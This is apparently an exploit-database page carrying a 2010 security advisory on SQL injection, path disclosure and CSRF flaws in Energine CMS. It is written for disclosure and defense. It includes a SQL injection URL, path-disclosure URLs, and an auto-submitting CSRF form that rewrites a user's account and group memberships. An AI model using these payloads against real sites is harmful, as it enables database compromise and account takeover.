header-logo
Suggest Exploit
vendor:
Energine
by:
High-Tech Bridge SA - Ethical Hacking & Penetration Testing
6.4
CVSS
MEDIUM
SQL Injection, Path Disclosure and CSRF
89, 200, 352
CWE
Product Name: Energine
Affected Version From: 2.3.2008
Affected Version To: 2.3.2008
Patch Exists: NO
Related CWE: N/A
CPE: a:energine:energine
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2010

SQL Injection, Path Disclosure and CSRF Vulnerabilities in Energine

The vulnerability exists due to failure in the 'core/modules/shop/components/ProductList.class.php' script to properly sanitize user-supplied input in 'product' variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database. The vulnerability also exists due to failure in the 'core/modules/shop/components/Order.class.php', 'core/modules/shop/components/ParamValuesEditor.class.php' scripts, it's possible to generate an error that will reveal the full path of the script. A remote user can determine the full path to the web root directory and other potentially sensitive information. The vulnerability also exists due to failure in the 'core/modules/user/components/UserEditor.class.php' script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Mitigation:

Input validation should be used to prevent SQL injection attacks. Path disclosure should be prevented by using a custom error page. CSRF attacks should be prevented by using a unique token for each request.
Source

Exploit-DB raw data:

Vulnerability ID: HTB22783
Reference: http://www.htbridge.ch/advisory/sql_injection_vulnerability_in_energine.html
Product: Energine
Vulnerable Version: 2.3.8 and probably prior versions
Vendor Notification: 28 December 2010 
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "core/modules/shop/components/ProductList.class.php" script to properly sanitize user-supplied input in "product" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

Attacker can use browser to exploit this vulnerability. The following PoC is available:
http://host/shop/search-results/?product=%22+ANY_SQL

Path Disclosure:
Vulnerability Details:
The vulnerability exists due to failure in the "core/modules/shop/components/Order.class.php", "core/modules/shop/components/ParamValuesEditor.class.php" scripts, it's possible to generate an error that will reveal the full path of the script.
A remote user can determine the full path to the web root directory and other potentially sensitive information.
The following PoC is available:
http://host/core/modules/shop/components/Order.class.php
http://host/core/modules/shop/components/ParamValuesEditor.class.php

CSRF:
Vulnerability Details:
The vulnerability exists due to failure in the "core/modules/user/components/UserEditor.class.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/en/single/pageToolBar/user/save" method="post" name="main">
<input type="hidden" name="componentAction" value="edit">
<input type="hidden" name="user_users[u_id]" value="USERID">
<input type="hidden" name="user_users[u_name]" value="email@example.com">
<input type="hidden" name="user_users[u_password]" value="">
<input type="hidden" name="user_users[u_fullname]" value="Test">
<input type="hidden" name="user_users[u_avatar_prfile]" value="">
<input type="hidden" name="group_id[]" value="1">
<input type="hidden" name="group_id[]" value="4">
</form>
<script>
document.main.submit();
</script>